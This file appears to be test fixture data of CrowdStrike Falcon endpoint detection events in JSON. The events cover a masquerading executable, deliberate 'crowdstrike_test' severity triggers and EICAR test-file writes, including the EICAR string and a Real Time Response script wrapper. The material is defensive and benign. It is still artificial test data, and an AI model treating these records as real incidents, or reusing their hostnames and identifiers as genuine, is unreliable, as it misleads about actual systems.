-{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root","ExternalApiType":"Event_EppDetectionSummaryEvent"}
-{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User 